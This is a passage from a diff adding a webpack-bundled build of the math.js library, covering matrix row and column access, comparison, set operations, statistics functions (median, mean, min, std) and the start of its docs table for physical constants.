@return {Array | Matrix} The retrieved column + */ + + var column = typed('column', { + 'Matrix, number': _column, + 'Array, number': function ArrayNumber(value, column) { + return _column(matrix(clone(value)), column).valueOf(); + } + }); + column.toTex = undefined; // use default template + + return column; + /** + * Retrieve a column of a matrix + * @param {Matrix } value A matrix + * @param {number} column The index of the column + * @return {Matrix} The retrieved column + */ + + function _column(value, column) { + // check dimensions + if (value.size().length !== 2) { + throw new Error('Only two dimensional matrix is supported'); + } + + validateIndex(column, value.size()[1]); + var rowRange = range(0, value.size()[0]); + var index = new MatrixIndex(rowRange, column); + return value.subset(index); + } +} + +exports.name = 'column'; +exports.factory = factory; + +/***/ }), +/* 144 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var nearlyEqual = __webpack_require__(3).nearlyEqual; + +var bigNearlyEqual = __webpack_require__(32); + +function factory(type, config, load, typed) { + var matrix = load(__webpack_require__(0)); + var algorithm03 = load(__webpack_require__(18)); + var algorithm07 = load(__webpack_require__(29)); + var algorithm12 = load(__webpack_require__(19)); + var algorithm13 = load(__webpack_require__(7)); + var algorithm14 = load(__webpack_require__(6)); + + var latex = __webpack_require__(4); + /** + * Test whether value x is smaller or equal to y. + * + * The function returns true when x is smaller than y or the relative + * difference between x and y is smaller than the configured epsilon. The + * function cannot be used to compare values smaller than approximately 2.22e-16. + * + * For matrices, the function is evaluated element wise. + * Strings are compared by their numerical value. + * + * Syntax: + * + * math.smallerEq(x, y) + * + * Examples: + * + * math.smaller(1 + 2, 3) // returns false + * math.smallerEq(1 + 2, 3) // returns true + * + * See also: + * + * equal, unequal, smaller, larger, largerEq, compare + * + * @param {number | BigNumber | Fraction | boolean | Unit | string | Array | Matrix} x First value to compare + * @param {number | BigNumber | Fraction | boolean | Unit | string | Array | Matrix} y Second value to compare + * @return {boolean | Array | Matrix} Returns true when the x is smaller than y, else returns false + */ + + + var smallerEq = typed('smallerEq', { + 'boolean, boolean': function booleanBoolean(x, y) { + return x <= y; + }, + 'number, number': function numberNumber(x, y) { + return x <= y || nearlyEqual(x, y, config.epsilon); + }, + 'BigNumber, BigNumber': function BigNumberBigNumber(x, y) { + return x.lte(y) || bigNearlyEqual(x, y, config.epsilon); + }, + 'Fraction, Fraction': function FractionFraction(x, y) { + return x.compare(y) !== 1; + }, + 'Complex, Complex': function ComplexComplex() { + throw new TypeError('No ordering relation is defined for complex numbers'); + }, + 'Unit, Unit': function UnitUnit(x, y) { + if (!x.equalBase(y)) { + throw new Error('Cannot compare units with different base'); + } + + return smallerEq(x.value, y.value); + }, + 'SparseMatrix, SparseMatrix': function SparseMatrixSparseMatrix(x, y) { + return algorithm07(x, y, smallerEq); + }, + 'SparseMatrix, DenseMatrix': function SparseMatrixDenseMatrix(x, y) { + return algorithm03(y, x, smallerEq, true); + }, + 'DenseMatrix, SparseMatrix': function DenseMatrixSparseMatrix(x, y) { + return algorithm03(x, y, smallerEq, false); + }, + 'DenseMatrix, DenseMatrix': function DenseMatrixDenseMatrix(x, y) { + return algorithm13(x, y, smallerEq); + }, + 'Array, Array': function ArrayArray(x, y) { + // use matrix implementation + return smallerEq(matrix(x), matrix(y)).valueOf(); + }, + 'Array, Matrix': function ArrayMatrix(x, y) { + // use matrix implementation + return smallerEq(matrix(x), y); + }, + 'Matrix, Array': function MatrixArray(x, y) { + // use matrix implementation + return smallerEq(x, matrix(y)); + }, + 'SparseMatrix, any': function SparseMatrixAny(x, y) { + return algorithm12(x, y, smallerEq, false); + }, + 'DenseMatrix, any': function DenseMatrixAny(x, y) { + return algorithm14(x, y, smallerEq, false); + }, + 'any, SparseMatrix': function anySparseMatrix(x, y) { + return algorithm12(y, x, smallerEq, true); + }, + 'any, DenseMatrix': function anyDenseMatrix(x, y) { + return algorithm14(y, x, smallerEq, true); + }, + 'Array, any': function ArrayAny(x, y) { + // use matrix implementation + return algorithm14(matrix(x), y, smallerEq, false).valueOf(); + }, + 'any, Array': function anyArray(x, y) { + // use matrix implementation + return algorithm14(matrix(y), x, smallerEq, true).valueOf(); + } + }); + smallerEq.toTex = { + 2: "\\left(${args[0]}".concat(latex.operators['smallerEq'], "${args[1]}\\right)") + }; + return smallerEq; +} + +exports.name = 'smallerEq'; +exports.factory = factory; + +/***/ }), +/* 145 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var maxArgumentCount = __webpack_require__(36).maxArgumentCount; + +function factory(type, config, load, typed) { + /** + * Create a new matrix or array with the results of the callback function executed on + * each entry of the matrix/array. + * + * Syntax: + * + * math.map(x, callback) + * + * Examples: + * + * math.map([1, 2, 3], function(value) { + * return value * value + * }) // returns [1, 4, 9] + * + * See also: + * + * filter, forEach, sort + * + * @param {Matrix | Array} x The matrix to iterate on. + * @param {Function} callback The callback method is invoked with three + * parameters: the value of the element, the index + * of the element, and the matrix being traversed. + * @return {Matrix | array} Transformed map of x + */ + var map = typed('map', { + 'Array, function': _map, + 'Matrix, function': function MatrixFunction(x, callback) { + return x.map(callback); + } + }); + map.toTex = undefined; // use default template + + return map; +} +/** + * Map for a multi dimensional array + * @param {Array} array + * @param {Function} callback + * @return {Array} + * @private + */ + + +function _map(array, callback) { + // figure out what number of arguments the callback function expects + var args = maxArgumentCount(callback); + + var recurse = function recurse(value, index) { + if (Array.isArray(value)) { + return value.map(function (child, i) { + // we create a copy of the index array and append the new index value + return recurse(child, index.concat(i)); + }); + } else { + // invoke the callback function with the right number of arguments + if (args === 1) { + return callback(value); + } else if (args === 2) { + return callback(value, index); + } else { + // 3 or -1 + return callback(value, index, array); + } + } + }; + + return recurse(array, []); +} + +exports.name = 'map'; +exports.factory = factory; + +/***/ }), +/* 146 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var clone = __webpack_require__(5).clone; + +var validateIndex = __webpack_require__(2).validateIndex; + +function factory(type, config, load, typed) { + var MatrixIndex = load(__webpack_require__(24)); + var matrix = load(__webpack_require__(0)); + var range = load(__webpack_require__(77)); + /** + * Return a row from a Matrix. + * + * Syntax: + * + * math.row(value, index) + * + * Example: + * + * // get a row + * const d = [[1, 2], [3, 4]] + * math.row(d, 1) // returns [3, 4] + * + * See also: + * + * column + * + * @param {Array | Matrix } value An array or matrix + * @param {number} row The index of the row + * @return {Array | Matrix} The retrieved row + */ + + var row = typed('row', { + 'Matrix, number': _row, + 'Array, number': function ArrayNumber(value, row) { + return _row(matrix(clone(value)), row).valueOf(); + } + }); + row.toTex = undefined; // use default template + + return row; + /** + * Retrieve a row of a matrix + * @param {Matrix } value A matrix + * @param {number} row The index of the row + * @return {Matrix} The retrieved row + */ + + function _row(value, row) { + // check dimensions + if (value.size().length !== 2) { + throw new Error('Only two dimensional matrix is supported'); + } + + validateIndex(row, value.size()[0]); + var columnRange = range(0, value.size()[1]); + var index = new MatrixIndex(row, columnRange); + return value.subset(index); + } +} + +exports.name = 'row'; +exports.factory = factory; + +/***/ }), +/* 147 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type, config, load, typed) { + var matrix = load(__webpack_require__(0)); + + var _typeof = load(__webpack_require__(26)); + + var algorithm13 = load(__webpack_require__(7)); + var algorithm14 = load(__webpack_require__(6)); + /** + * Compare two strings lexically. Comparison is case sensitive. + * Returns 1 when x > y, -1 when x < y, and 0 when x == y. + * + * For matrices, the function is evaluated element wise. + * + * Syntax: + * + * math.compareText(x, y) + * + * Examples: + * + * math.compareText('B', 'A') // returns 1 + * math.compareText('2', '10') // returns 1 + * math.compare('2', '10') // returns -1 + * math.compareNatural('2', '10') // returns -1 + * + * math.compareText('B', ['A', 'B', 'C']) // returns [1, 0, -1] + * + * See also: + * + * equal, equalText, compare, compareNatural + * + * @param {string | Array | DenseMatrix} x First string to compare + * @param {string | Array | DenseMatrix} y Second string to compare + * @return {number | Array | DenseMatrix} Returns the result of the comparison: + * 1 when x > y, -1 when x < y, and 0 when x == y. + */ + + var compareText = typed('compareText', { + 'any, any': _compareText, + 'DenseMatrix, DenseMatrix': function DenseMatrixDenseMatrix(x, y) { + return algorithm13(x, y, _compareText); + }, + 'Array, Array': function ArrayArray(x, y) { + // use matrix implementation + return compareText(matrix(x), matrix(y)).valueOf(); + }, + 'Array, Matrix': function ArrayMatrix(x, y) { + // use matrix implementation + return compareText(matrix(x), y); + }, + 'Matrix, Array': function MatrixArray(x, y) { + // use matrix implementation + return compareText(x, matrix(y)); + }, + 'DenseMatrix, any': function DenseMatrixAny(x, y) { + return algorithm14(x, y, _compareText, false); + }, + 'any, DenseMatrix': function anyDenseMatrix(x, y) { + return algorithm14(y, x, _compareText, true); + }, + 'Array, any': function ArrayAny(x, y) { + // use matrix implementation + return algorithm14(matrix(x), y, _compareText, false).valueOf(); + }, + 'any, Array': function anyArray(x, y) { + // use matrix implementation + return algorithm14(matrix(y), x, _compareText, true).valueOf(); + } + }); + /** + * Compare two strings + * @param {string} x + * @param {string} y + * @returns {number} + * @private + */ + + function _compareText(x, y) { + // we don't want to convert numbers to string, only accept string input + if (!type.isString(x)) { + throw new TypeError('Unexpected type of argument in function compareText ' + '(expected: string or Array or Matrix, actual: ' + _typeof(x) + ', index: 0)'); + } + + if (!type.isString(y)) { + throw new TypeError('Unexpected type of argument in function compareText ' + '(expected: string or Array or Matrix, actual: ' + _typeof(y) + ', index: 1)'); + } + + return x === y ? 0 : x > y ? 1 : -1; + } + + compareText.toTex = undefined; // use default template + + return compareText; +} + +exports.name = 'compareText'; +exports.factory = factory; + +/***/ }), +/* 148 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var flatten = __webpack_require__(2).flatten; + +var identify = __webpack_require__(2).identify; + +var generalize = __webpack_require__(2).generalize; + +function factory(type, config, load, typed) { + var MatrixIndex = load(__webpack_require__(24)); + var DenseMatrix = load(__webpack_require__(49)); + var size = load(__webpack_require__(28)); + var subset = load(__webpack_require__(23)); + var compareNatural = load(__webpack_require__(30)); + /** + * Create the difference of two (multi)sets: every element of set1, that is not the element of set2. + * Multi-dimension arrays will be converted to single-dimension arrays before the operation. + * + * Syntax: + * + * math.setDifference(set1, set2) + * + * Examples: + * + * math.setDifference([1, 2, 3, 4], [3, 4, 5, 6]) // returns [1, 2] + * math.setDifference([[1, 2], [3, 4]], [[3, 4], [5, 6]]) // returns [1, 2] + * + * See also: + * + * setUnion, setIntersect, setSymDifference + * + * @param {Array | Matrix} a1 A (multi)set + * @param {Array | Matrix} a2 A (multi)set + * @return {Array | Matrix} The difference of two (multi)sets + */ + + var setDifference = typed('setDifference', { + 'Array | Matrix, Array | Matrix': function ArrayMatrixArrayMatrix(a1, a2) { + var result; + + if (subset(size(a1), new MatrixIndex(0)) === 0) { + // empty-anything=empty + result = []; + } else if (subset(size(a2), new MatrixIndex(0)) === 0) { + // anything-empty=anything + return flatten(a1.toArray()); + } else { + var b1 = identify(flatten(Array.isArray(a1) ? a1 : a1.toArray()).sort(compareNatural)); + var b2 = identify(flatten(Array.isArray(a2) ? a2 : a2.toArray()).sort(compareNatural)); + result = []; + var inb2; + + for (var i = 0; i < b1.length; i++) { + inb2 = false; + + for (var j = 0; j < b2.length; j++) { + if (compareNatural(b1[i].value, b2[j].value) === 0 && b1[i].identifier === b2[j].identifier) { + // the identifier is always a decimal int + inb2 = true; + break; + } + } + + if (!inb2) { + result.push(b1[i]); + } + } + } // return an array, if both inputs were arrays + + + if (Array.isArray(a1) && Array.isArray(a2)) { + return generalize(result); + } // return a matrix otherwise + + + return new DenseMatrix(generalize(result)); + } + }); + return setDifference; +} + +exports.name = 'setDifference'; +exports.factory = factory; + +/***/ }), +/* 149 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var flatten = __webpack_require__(2).flatten; + +var identify = __webpack_require__(2).identify; + +var generalize = __webpack_require__(2).generalize; + +function factory(type, config, load, typed) { + var MatrixIndex = load(__webpack_require__(24)); + var DenseMatrix = load(__webpack_require__(49)); + var size = load(__webpack_require__(28)); + var subset = load(__webpack_require__(23)); + var compareNatural = load(__webpack_require__(30)); + /** + * Create the intersection of two (multi)sets. + * Multi-dimension arrays will be converted to single-dimension arrays before the operation. + * + * Syntax: + * + * math.setIntersect(set1, set2) + * + * Examples: + * + * math.setIntersect([1, 2, 3, 4], [3, 4, 5, 6]) // returns [3, 4] + * math.setIntersect([[1, 2], [3, 4]], [[3, 4], [5, 6]]) // returns [3, 4] + * + * See also: + * + * setUnion, setDifference + * + * @param {Array | Matrix} a1 A (multi)set + * @param {Array | Matrix} a2 A (multi)set + * @return {Array | Matrix} The intersection of two (multi)sets + */ + + var setIntersect = typed('setIntersect', { + 'Array | Matrix, Array | Matrix': function ArrayMatrixArrayMatrix(a1, a2) { + var result; + + if (subset(size(a1), new MatrixIndex(0)) === 0 || subset(size(a2), new MatrixIndex(0)) === 0) { + // of any of them is empty, return empty + result = []; + } else { + var b1 = identify(flatten(Array.isArray(a1) ? a1 : a1.toArray()).sort(compareNatural)); + var b2 = identify(flatten(Array.isArray(a2) ? a2 : a2.toArray()).sort(compareNatural)); + result = []; + + for (var i = 0; i < b1.length; i++) { + for (var j = 0; j < b2.length; j++) { + if (compareNatural(b1[i].value, b2[j].value) === 0 && b1[i].identifier === b2[j].identifier) { + // the identifier is always a decimal int + result.push(b1[i]); + break; + } + } + } + } // return an array, if both inputs were arrays + + + if (Array.isArray(a1) && Array.isArray(a2)) { + return generalize(result); + } // return a matrix otherwise + + + return new DenseMatrix(generalize(result)); + } + }); + return setIntersect; +} + +exports.name = 'setIntersect'; +exports.factory = factory; + +/***/ }), +/* 150 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var flatten = __webpack_require__(2).flatten; + +function factory(type, config, load, typed) { + var MatrixIndex = load(__webpack_require__(24)); + var concat = load(__webpack_require__(78)); + var size = load(__webpack_require__(28)); + var subset = load(__webpack_require__(23)); + var setDifference = load(__webpack_require__(148)); + /** + * Create the symmetric difference of two (multi)sets. + * Multi-dimension arrays will be converted to single-dimension arrays before the operation. + * + * Syntax: + * + * math.setSymDifference(set1, set2) + * + * Examples: + * + * math.setSymDifference([1, 2, 3, 4], [3, 4, 5, 6]) // returns [1, 2, 5, 6] + * math.setSymDifference([[1, 2], [3, 4]], [[3, 4], [5, 6]]) // returns [1, 2, 5, 6] + * + * See also: + * + * setUnion, setIntersect, setDifference + * + * @param {Array | Matrix} a1 A (multi)set + * @param {Array | Matrix} a2 A (multi)set + * @return {Array | Matrix} The symmetric difference of two (multi)sets + */ + + var setSymDifference = typed('setSymDifference', { + 'Array | Matrix, Array | Matrix': function ArrayMatrixArrayMatrix(a1, a2) { + if (subset(size(a1), new MatrixIndex(0)) === 0) { + // if any of them is empty, return the other one + return flatten(a2); + } else if (subset(size(a2), new MatrixIndex(0)) === 0) { + return flatten(a1); + } + + var b1 = flatten(a1); + var b2 = flatten(a2); + return concat(setDifference(b1, b2), setDifference(b2, b1)); + } + }); + return setSymDifference; +} + +exports.name = 'setSymDifference'; +exports.factory = factory; + +/***/ }), +/* 151 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var flatten = __webpack_require__(2).flatten; + +var containsCollections = __webpack_require__(62); + +function factory(type, config, load, typed) { + var add = load(__webpack_require__(17)); + var divide = load(__webpack_require__(12)); + var compare = load(__webpack_require__(55)); + var partitionSelect = load(__webpack_require__(97)); + var improveErrorMessage = load(__webpack_require__(40)); + /** + * Compute the median of a matrix or a list with values. The values are + * sorted and the middle value is returned. In case of an even number of + * values, the average of the two middle values is returned. + * Supported types of values are: Number, BigNumber, Unit + * + * In case of a (multi dimensional) array or matrix, the median of all + * elements will be calculated. + * + * Syntax: + * + * math.median(a, b, c, ...) + * math.median(A) + * + * Examples: + * + * math.median(5, 2, 7) // returns 5 + * math.median([3, -1, 5, 7]) // returns 4 + * + * See also: + * + * mean, min, max, sum, prod, std, var, quantileSeq + * + * @param {... *} args A single matrix or or multiple scalar values + * @return {*} The median + */ + + var median = typed('median', { + // median([a, b, c, d, ...]) + 'Array | Matrix': _median, + // median([a, b, c, d, ...], dim) + 'Array | Matrix, number | BigNumber': function ArrayMatrixNumberBigNumber(array, dim) { + // TODO: implement median(A, dim) + throw new Error('median(A, dim) is not yet supported'); // return reduce(arguments[0], arguments[1], ...) + }, + // median(a, b, c, d, ...) + '...': function _(args) { + if (containsCollections(args)) { + throw new TypeError('Scalar values expected in function median'); + } + + return _median(args); + } + }); + /** + * Recursively calculate the median of an n-dimensional array + * @param {Array} array + * @return {Number} median + * @private + */ + + function _median(array) { + try { + array = flatten(array.valueOf()); + var num = array.length; + + if (num === 0) { + throw new Error('Cannot calculate median of an empty array'); + } + + if (num % 2 === 0) { + // even: return the average of the two middle values + var mid = num / 2 - 1; + var right = partitionSelect(array, mid + 1); // array now partitioned at mid + 1, take max of left part + + var left = array[mid]; + + for (var i = 0; i < mid; ++i) { + if (compare(array[i], left) > 0) { + left = array[i]; + } + } + + return middle2(left, right); + } else { + // odd: return the middle value + var m = partitionSelect(array, (num - 1) / 2); + return middle(m); + } + } catch (err) { + throw improveErrorMessage(err, 'median'); + } + } // helper function to type check the middle value of the array + + + var middle = typed({ + 'number | BigNumber | Complex | Unit': function numberBigNumberComplexUnit(value) { + return value; + } + }); // helper function to type check the two middle value of the array + + var middle2 = typed({ + 'number | BigNumber | Complex | Unit, number | BigNumber | Complex | Unit': function numberBigNumberComplexUnitNumberBigNumberComplexUnit(left, right) { + return divide(add(left, right), 2); + } + }); + median.toTex = undefined; // use default template + + return median; +} + +exports.name = 'median'; +exports.factory = factory; + +/***/ }), +/* 152 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var size = __webpack_require__(2).size; + +var deepForEach = __webpack_require__(47); + +var reduce = __webpack_require__(80); + +var containsCollections = __webpack_require__(62); + +function factory(type, config, load, typed) { + var add = load(__webpack_require__(14)); + var divide = load(__webpack_require__(45)); + var improveErrorMessage = load(__webpack_require__(40)); + /** + * Compute the mean value of matrix or a list with values. + * In case of a multi dimensional array, the mean of the flattened array + * will be calculated. When `dim` is provided, the maximum over the selected + * dimension will be calculated. Parameter `dim` is zero-based. + * + * Syntax: + * + * math.mean(a, b, c, ...) + * math.mean(A) + * math.mean(A, dim) + * + * Examples: + * + * math.mean(2, 1, 4, 3) // returns 2.5 + * math.mean([1, 2.7, 3.2, 4]) // returns 2.725 + * + * math.mean([[2, 5], [6, 3], [1, 7]], 0) // returns [3, 5] + * math.mean([[2, 5], [6, 3], [1, 7]], 1) // returns [3.5, 4.5, 4] + * + * See also: + * + * median, min, max, sum, prod, std, var + * + * @param {... *} args A single matrix or or multiple scalar values + * @return {*} The mean of all values + */ + + var mean = typed('mean', { + // mean([a, b, c, d, ...]) + 'Array | Matrix': _mean, + // mean([a, b, c, d, ...], dim) + 'Array | Matrix, number | BigNumber': _nmeanDim, + // mean(a, b, c, d, ...) + '...': function _(args) { + if (containsCollections(args)) { + throw new TypeError('Scalar values expected in function mean'); + } + + return _mean(args); + } + }); + mean.toTex = undefined; // use default template + + return mean; + /** + * Calculate the mean value in an n-dimensional array, returning a + * n-1 dimensional array + * @param {Array} array + * @param {number} dim + * @return {number} mean + * @private + */ + + function _nmeanDim(array, dim) { + try { + var sum = reduce(array, dim, add); + var s = Array.isArray(array) ? size(array) : array.size(); + return divide(sum, s[dim]); + } catch (err) { + throw improveErrorMessage(err, 'mean'); + } + } + /** + * Recursively calculate the mean value in an n-dimensional array + * @param {Array} array + * @return {number} mean + * @private + */ + + + function _mean(array) { + var sum = 0; + var num = 0; + deepForEach(array, function (value) { + try { + sum = add(sum, value); + num++; + } catch (err) { + throw improveErrorMessage(err, 'mean', value); + } + }); + + if (num === 0) { + throw new Error('Cannot calculate mean of an empty array'); + } + + return divide(sum, num); + } +} + +exports.name = 'mean'; +exports.factory = factory; + +/***/ }), +/* 153 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var deepForEach = __webpack_require__(47); + +var reduce = __webpack_require__(80); + +var containsCollections = __webpack_require__(62); + +function factory(type, config, load, typed) { + var smaller = load(__webpack_require__(38)); + var improveErrorMessage = load(__webpack_require__(40)); + /** + * Compute the minimum value of a matrix or a list of values. + * In case of a multi dimensional array, the minimum of the flattened array + * will be calculated. When `dim` is provided, the minimum over the selected + * dimension will be calculated. Parameter `dim` is zero-based. + * + * Syntax: + * + * math.min(a, b, c, ...) + * math.min(A) + * math.min(A, dim) + * + * Examples: + * + * math.min(2, 1, 4, 3) // returns 1 + * math.min([2, 1, 4, 3]) // returns 1 + * + * // minimum over a specified dimension (zero-based) + * math.min([[2, 5], [4, 3], [1, 7]], 0) // returns [1, 3] + * math.min([[2, 5], [4, 3], [1, 7]], 1) // returns [2, 3, 1] + * + * math.max(2.7, 7.1, -4.5, 2.0, 4.1) // returns 7.1 + * math.min(2.7, 7.1, -4.5, 2.0, 4.1) // returns -4.5 + * + * See also: + * + * mean, median, max, prod, std, sum, var + * + * @param {... *} args A single matrix or or multiple scalar values + * @return {*} The minimum value + */ + + var min = typed('min', { + // min([a, b, c, d, ...]) + 'Array | Matrix': _min, + // min([a, b, c, d, ...], dim) + 'Array | Matrix, number | BigNumber': function ArrayMatrixNumberBigNumber(array, dim) { + return reduce(array, dim.valueOf(), _smallest); + }, + // min(a, b, c, d, ...) + '...': function _(args) { + if (containsCollections(args)) { + throw new TypeError('Scalar values expected in function min'); + } + + return _min(args); + } + }); + min.toTex = "\\min\\left(${args}\\right)"; + return min; + /** + * Return the smallest of two values + * @param {*} x + * @param {*} y + * @returns {*} Returns x when x is smallest, or y when y is smallest + * @private + */ + + function _smallest(x, y) { + try { + return smaller(x, y) ? x : y; + } catch (err) { + throw improveErrorMessage(err, 'min', y); + } + } + /** + * Recursively calculate the minimum value in an n-dimensional array + * @param {Array} array + * @return {number} min + * @private + */ + + + function _min(array) { + var min; + deepForEach(array, function (value) { + try { + if (isNaN(value) && typeof value === 'number') { + min = NaN; + } else if (min === undefined || smaller(value, min)) { + min = value; + } + } catch (err) { + throw improveErrorMessage(err, 'min', value); + } + }); + + if (min === undefined) { + throw new Error('Cannot calculate min of an empty array'); + } + + return min; + } +} + +exports.name = 'min'; +exports.factory = factory; + +/***/ }), +/* 154 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type, config, load, typed) { + var sqrt = load(__webpack_require__(46)); + var variance = load(__webpack_require__(101)); + /** + * Compute the standard deviation of a matrix or a list with values. + * The standard deviations is defined as the square root of the variance: + * `std(A) = sqrt(var(A))`. + * In case of a (multi dimensional) array or matrix, the standard deviation + * over all elements will be calculated by default, unless an axis is specified + * in which case the standard deviation will be computed along that axis. + * + * Additionally, it is possible to compute the standard deviation along the rows + * or columns of a matrix by specifying the dimension as the second argument. + * + * Optionally, the type of normalization can be specified as the final + * parameter. The parameter `normalization` can be one of the following values: + * + * - 'unbiased' (default) The sum of squared errors is divided by (n - 1) + * - 'uncorrected' The sum of squared errors is divided by n + * - 'biased' The sum of squared errors is divided by (n + 1) + * + * + * Syntax: + * + * math.std(a, b, c, ...) + * math.std(A) + * math.std(A, normalization) + * math.std(A, dimension) + * math.std(A, dimension, normalization) + * + * Examples: + * + * math.std(2, 4, 6) // returns 2 + * math.std([2, 4, 6, 8]) // returns 2.581988897471611 + * math.std([2, 4, 6, 8], 'uncorrected') // returns 2.23606797749979 + * math.std([2, 4, 6, 8], 'biased') // returns 2 + * + * math.std([[1, 2, 3], [4, 5, 6]]) // returns 1.8708286933869707 + * math.std([[1, 2, 3], [4, 6, 8]], 0) // returns [2.1213203435596424, 2.8284271247461903, 3.5355339059327378] + * math.std([[1, 2, 3], [4, 6, 8]], 1) // returns [1, 2] + * math.std([[1, 2, 3], [4, 6, 8]], 1, 'biased') // returns [0.7071067811865476, 1.4142135623730951] + * + * See also: + * + * mean, median, max, min, prod, sum, var + * + * @param {Array | Matrix} array + * A single matrix or or multiple scalar values + * @param {string} [normalization='unbiased'] + * Determines how to normalize the variance. + * Choose 'unbiased' (default), 'uncorrected', or 'biased'. + * @param dimension {number | BigNumber} + * Determines the axis to compute the standard deviation for a matrix + * @return {*} The standard deviation + */ + + var std = typed('std', { + // std([a, b, c, d, ...]) + 'Array | Matrix': _std, + // std([a, b, c, d, ...], normalization) + 'Array | Matrix, string': _std, + // std([a, b, c, c, ...], dim) + 'Array | Matrix, number | BigNumber': _std, + // std([a, b, c, c, ...], dim, normalization) + 'Array | Matrix, number | BigNumber, string': _std, + // std(a, b, c, d, ...) + '...': function _(args) { + return _std(args); + } + }); + std.toTex = undefined; // use default template + + return std; + + function _std(array, normalization) { + if (array.length === 0) { + throw new SyntaxError('Function std requires one or more parameters (0 provided)'); + } + + try { + return sqrt(variance.apply(null, arguments)); + } catch (err) { + if (err instanceof TypeError && err.message.indexOf(' var') !== -1) { + throw new TypeError(err.message.replace(' var', ' std')); + } else { + throw err; + } + } + } +} + +exports.name = 'std'; +exports.factory = factory; + +/***/ }), +/* 155 */ +/***/ (function(module, exports, __webpack_require__) { + +function factory(construction, config, load, typed) { + var docs = {}; // construction functions + + docs.bignumber = __webpack_require__(356); + docs['boolean'] = __webpack_require__(357); + docs.complex = __webpack_require__(358); + docs.createUnit = __webpack_require__(359); + docs.fraction = __webpack_require__(360); + docs.index = __webpack_require__(361); + docs.matrix = __webpack_require__(362); + docs.number = __webpack_require__(363); + docs.sparse = __webpack_require__(364); + docs.splitUnit = __webpack_require__(365); + docs.string = __webpack_require__(366); + docs.unit = __webpack_require__(367); // constants + + docs.e = __webpack_require__(156); + docs.E = __webpack_require__(156); + docs['false'] = __webpack_require__(368); + docs.i = __webpack_require__(369); + docs['Infinity'] = __webpack_require__(370); + docs.LN2 = __webpack_require__(371); + docs.LN10 = __webpack_require__(372); + docs.LOG2E = __webpack_require__(373); + docs.LOG10E = __webpack_require__(374); + docs.NaN = __webpack_require__(375); + docs['null'] = __webpack_require__(376); + docs.pi = __webpack_require__(157); + docs.PI = __webpack_require__(157); + docs.phi = __webpack_require__(377); + docs.SQRT1_2 = __webpack_require__(378); + docs.SQRT2 = __webpack_require__(379); + docs.tau = __webpack_require__(380); + docs['true'] = __webpack_require__(381); + docs.version = __webpack_require__(382); // physical constants + // TODO: more detailed docs for physical constants + + docs.speedOfLight = { + description: 'Speed of light in vacuum', + examples: ['speedOfLight'] + }; + docs.gravitationConstant = { + description: 'Newtonian constant of gravitation', + examples: ['gravitationConstant'] + }; + docs.planckConstant = { + description: 'Planck constant', + examples: ['planckConstant'] + }; + docs.reducedPlanckConstant = { + description: 'Reduced Planck constant', + examples: ['reducedPlanckConstant'] + }; + docs.magneticConstant = { + description: 'Magnetic constant (vacuum permeability)', + examples: ['magneticConstant'] + }; + docs.electricConstant = { + description: 'Electric constant (vacuum permeability)', + examples: ['electricConstant'] + }; + docs.vacuumImpedance = { + description: 'Characteristic impedance of vacuum', + examples: ['vacuumImpedance'] + }; + docs.coulomb = { + description: 'Coulomb\'s constant', + examples: ['coulomb'] + }; + docs.elementaryCharge = { + description: 'Elementary charge', + examples: ['elementaryCharge'] + }; + docs.bohrMagneton = { + description: 'Borh magneton', + examples: ['bohrMagneton'] + }; + docs.conductanceQuantum = { + description: 'Conductance quantum', + examples: ['conductanceQuantum'] + }; + docs.inverseConductanceQuantum = { + description: 'Inverse conductance quantum', + examples: ['inverseConductanceQuantum'] // docs.josephson = {description: 'Josephson constant', examples: ['josephson']} + + }; + docs.magneticFluxQuantum = { + description: 'Magnetic flux quantum', + examples: ['magneticFluxQuantum'] + }; + docs.nuclearMagneton = { + description: 'Nuclear magneton', + examples: ['nuclearMagneton'] + }; + docs.klitzing = { + description: 'Von Klitzing constant', + examples: ['klitzing'] + }; + docs.bohrRadius = { + description: 'Borh radius', + examples: ['bohrRadius'] + }; + docs.classicalElectronRadius = { + description: 'Classical electron radius', + examples: ['classicalElectronRadius'] + }; + docs.electronMass = { + description: 'Electron mass', + examples: ['electronMass'] + }; + docs.fermiCoupling = { + description: 'Fermi coupling constant', + examples: ['fermiCoupling'] + }; + docs.fineStructure = { + description: 'Fine-structure constant', + examples: ['fineStructure'] + }; + docs.hartreeEnergy = { + description: 'Hartree energy', + examples: ['hartreeEnergy'] + }; + docs.protonMass = { + description: 'Proton mass', + examples: ['protonMass'] + }; + docs.deuteronMass = { + description: 'Deuteron Mass', + examples: ['deuteronMass'] + }; + docs.neutronMass = { + description: 'Neutron mass', + examples: ['neutronMass'] + }; + docs.quantumOfCirculation = { + description: 'Quantum of circulation', + examples: ['quantumOfCirculation'] + }; + docs.rydberg = { + description: 'Rydberg constant', + examples: ['rydberg'] + }; + docs.thomsonCrossSection = { + description: 'Thomson cross section', + examples: ['thomsonCrossSection'] + }; + docs.weakMixingAngle = { + description: 'Weak mixing angle', + examples: ['weakMixingAngle'] + }; + docs.efimovFactor = { + description: 'Efimov factor', + examples: ['efimovFactor'] + }; + docs.atomicMass = { + description: 'Atomic mass constant', + examples: ['atomicMass'] + }; + docs.avogadro = { + description: 'Avogadro\'s number', + examples: ['avogadro'] + }; + docs.boltzmann = { + description: 'Boltzmann constant', + examples: ['boltzmann'] + }; + docs.faraday = { + description: 'Faraday constant', + examples: ['faraday'] + }; + docs.firstRadiation = { + description: 'First radiation constant', + examples: ['firstRadiation'] + }; + docs.loschmidt = { + description: 'Loschmidt constant at T=273.15 K and p=101.325 kPa', + examples: ['loschmidt'] + }; + docs.gasConstant = { + description: 'Gas constant', + examples: ['gasConstant'] + }; + docs.molarPlanckConstant = { + description: 'Molar Planck constant', + examples: ['molarPlanckConstant'] + }; + docs.molarVolume = { + description: 'Molar volume of an ideal gas at T=273.15 K and p=101.325 kPa', + examples: ['molarVolume'] + }; + docs.sackurTetrode = { + description: 'Sackur-Tetrode constant at T=1 K and p=101.325 kPa', + examples: 